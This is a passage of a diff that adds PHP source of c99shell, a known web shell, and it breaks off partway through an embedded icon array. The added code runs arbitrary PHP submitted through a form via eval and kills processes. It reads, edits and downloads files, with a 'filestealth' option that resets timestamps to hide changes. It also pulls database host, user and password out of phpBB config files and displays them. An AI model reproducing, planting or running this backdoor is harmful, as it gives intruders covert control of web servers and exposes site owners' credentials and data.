echo "></form>"; +} +if ($act == "ps_aux") +{ + echo "<b>Processes:</b><br>"; + if ($win) {echo "This function not work in Windows!<br><br>";} + else + { + if ($pid) + { + if (!$sig) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + $ret = posix_kill($pid,$sig); + if ($ret) {echo "ok. he is dead, amen.";} + else {echo "ERROR. Can't send signal ".htmlspecialchars($sig).", to process #".htmlspecialchars($pid).".";} + } + $ret = `ps -aux`; + if (!$ret) {echo "Can't execute \"ps -aux\"!";} + else + { + $ret = htmlspecialchars($ret); + $ret = str_replace(" "," ",$ret); + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $prcs = explode("\n",$ret); + $head = explode(" ",$prcs[0]); + $head[] = "ACTION"; + unset($prcs[0]); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + echo "<tr border=\"1\">"; + foreach ($head as $v) {echo "<td><b>&nbsp;&nbsp;&nbsp;".$v."</b>&nbsp;&nbsp;&nbsp;</td>";} + echo "</tr>"; + foreach ($prcs as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + $line[] = "<a href=\"".$surl."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + foreach ($line as $v) {echo "<td>&nbsp;&nbsp;&nbsp;".$v."&nbsp;&nbsp;&nbsp;</td>";} + echo "</tr>"; + } + } + echo "</table>"; + } + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode(" +",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret;} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}} + echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + $r = @file_get_contents($d.$f); + if (!is_readable($d.$f) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( +array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), +array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), +array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), +array("Code","code"), +array("Session","phpsess"), +array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), +array("SDB","sdb"), +array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), +array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), +array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), +array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), +array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") +); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + if (is_writable($d.$f)) {echo "<font color=\"green\">full read/write access (".view_perms(fileperms($d.$f)).")</font>";} + else {echo "<font color=\"red\">Read-Only (".view_perms(fileperms($d.$f)).")</font>";} + echo "</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=\"green\">".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else + { + echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>"; + } + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b>"; + echo "<table class=tab border=0 cellspacing=1 cellpadding=2>"; + echo "<tr class=tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr>"; + echo "<tr class=tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr class=tr><td><b>Owner/Group</b></td><td> "; + $tmp=posix_getpwuid(fileowner($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." "; + else echo $tmp['name']." "; + $tmp=posix_getgrgid(filegroup($d.$f)); + if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f); + else echo $tmp['name']; + } + echo "<tr class=tr><td><b>Perms</b></td><td>"; + + if (is_writable($d.$f)) + { + echo "<font color=\"green\">".view_perms(fileperms($d.$f))."</font>"; + } + else + { + echo "<font>".view_perms(fileperms($d.$f))."</font>"; + } + + echo "</td></tr>"; + echo "<tr class=tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>"; + echo "<tr class=tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>"; + echo "<tr class=tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>"; + echo "</table><br>"; + + + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) + { + echo "<b>FULL HEXDUMP</b>"; + $str=fread($fi,filesize($d.$f)); + } + else + { + echo "<b>HEXDUMP PREVIEW</b>"; + $str=fread($fi,$hexdump_lines*$hexdump_rows); + } + $n=0; + $a0="00000000<br>"; + $a1=""; + $a2=""; + for ($i=0; $i<strlen($str); $i++) + { + $a1.=sprintf("%02X",ord($str[$i])).' '; + switch (ord($str[$i])) + { + case 0: $a2.="<font class=s2>0</font>"; break; + case 32: + case 10: + case 13: $a2.="&nbsp;"; break; + default: $a2.=htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1<strlen($str)) {$a0.=sprintf("%08X",$i+1)."<br>";} + $a1.="<br>"; + $a2.="<br>"; + } + } + //if ($a1!="") {$a0.=sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4 ". + "class=sy><tr><td bgcolor=#666666> $a0</td><td bgcolor=000000>". + "$a1</td><td bgcolor=000000>$a2</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode($r); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode($r)); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode($r); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> + <P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {exit;} + } + elseif ($ft == "txt") + { + echo "<pre>".htmlspecialchars($r)."</pre>"; + } + elseif ($ft == "ini") + { + echo "<pre>"; + var_dump(parse_ini_file($d.$f,true)); + echo "</pre>"; + } + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"".htmlspecialchars($r)."\"><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;<input type=\"submit\" value=\"View&Edit command\"></form>"; + } + elseif ($ft == "sdb") + { + echo "<pre>"; + var_dump(unserialize(base64_decode($r))); + echo "</pre>"; + } + elseif ($ft == "code") + { + if (ereg("phpBB 2.(.*) auto-generated config file",$r)) + { + $arr = explode(" +",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array( + "dbms"=>$dbms, + "dbhost"=>$dbhost, + "dbname"=>$dbname, + "dbuser"=>$dbuser, + "dbpasswd"=>$dbpasswd + ); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + + echo "</b>"; + echo "<hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: #808080;\">"; + if (!empty($white)) {@ob_clean();} + if ($rehtml) {$r = rehtmlspecialchars($r);} + $r = stripslashes($r); + $strip = false; + if(!strpos($r,"<?") && substr($r,0,2)!="<?") {$r="<?php\n".trim($r)."\n?>"; $r = trim($r); $strip = true;} + $r = @highlight_string($r, TRUE); + if ($delspace) {$buffer = str_replace ("&nbsp;", " ", $r);} + echo $r; + if (!empty($white)) {exit;} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: c99shell"); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo($r); + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + if (!$white) + { + echo "<center><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: image/gif"); + echo($r); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + if (!is_writable($d.$f) and $autochmod) {@chmod($d.$f,$autochmod);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$nfcontent); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $nfcontent; + } + } + $rows = count(explode(" +",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=".$dspact."&d=".substr($d,0,strlen($d)-1))."';\" value=\"Back\"><br><textarea name=\"nfcontent\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +if ($act == "phpinfo") +{ + ob_end_clean(); + phpinfo(); + exit; +} +} $data = base64_decode("PGNlbnRlcj48Yj5DcmVkaXRzOjxicj5JZGVhLCBsZWFkaW5nIGFuZCBjb2RpbmcgYnkgdHJpc3RyYW1bQ0NUZWFNXS48YnI+QmV0YS10ZXN0aW5nIGFuZCBzb21lIHRpcHMgLSBOdWtMZW9OIFtBblRpU2hAUmUgdEVhTV0uPGJyPlRoYW5rcyBhbGwgd2hvIHJlcG9ydCBidWdzLjxicj5BbGwgYnVncyBzZW5kIHRvIHRyaXN0cmFtJ3MgSUNRICM2NTY1NTUgPGEgaHJlZj0iaHR0cDovL3d3cC5pY3EuY29tL3NjcmlwdHMvY29udGFjdC5kbGw/bXNndG89NjU2NTU1Ij48aW1nIHNyYz1odHRwOi8vd3dwLmljcS5jb20vc2NyaXB0cy9vbmxpbmUuZGxsP2ljcT02NTY1NTUmaW1nPTUgYm9yZGVyPTAgYWxpZ249YWJzbWlkZGxlPjwvYT4uPC9iPiA8L2NlbnRlcj4gwOLy7vAg4vvw4Obg5fIg4evg4+7k4PDt7vHy/CDu5O3u7PMg7/Du4vMg6u7y7vD76SDu8urr/vfo6yDl4+4g7eAg7OXx//Yg7vIg6O3l8uAsIOgg5Ov/IPLu4+4g9/LuLeH7IO3lIPPs5fDl8vwg7vIg8erz6ugg7/Do+Ovu8fwg8+Pr8+Ho8vzx/yDiIO/w7uPw4Ozs6PDu4uDt6OUuIM/u5PLu6+rt8+vgIOog7eDv6PHg7ej+IOvl7fwg8SDq7vLu8O7pIP8g8+/w4OLr/+sg8eXw4uXw4OzoLjxjZW50ZXI+PGI+z/Dg4ujr4DwvYj46PC9jZW50ZXI+IDxiPsL7IOzu5uXy5SDo5+zl7f/y/CDv8O7j8ODs7PMg7+4gwuD45ezzIPPx7O7y8OXt6P4sIOzl7f/y/CDt4PHy8O7p6ugsIOTo5+Dp7S4uLiDt7iDl8evoIML7LCDz4uDm4OXs++ksIPPk4Ovo8uUg6OvoIPLl7CDh7uvl5SDo5+zl7ejy5SDq7u/o8ODp8vssIPLuIP8g4fPk8yDi++3z5uTl7SDu8u7w4uDy/CDi4Owg/+n24C4gPC9iPjxicj7A4vLu8CDt5SDt5fG48iDu8uLl8vHy4uXt7e7x8ugg5+Ag4u7n7O7m7fvpIOLw5eQsIO3g7eXxuO376SD98u7pIO/w7uPw4Ozs7uksIPIu6i4g7u3gIO/w5eTu8fLg4uvl7eAg8u7r/OruIOTr/yDu5+3g6u7s6+Xt6P8u"); +if ($act == "img") +{ + @ob_clean(); + + $arrimg = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhDwAQAJECAAAAAP///////wAAACH5BAEAAAIALAAAAAAPABAAQAIslI8pAOH/WGoQqMOC". +"vAtqxIReuC1UZHGLapAhdzqpEn9Y7Wlplpc3ynqxWAUAOw==", +"edit"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". 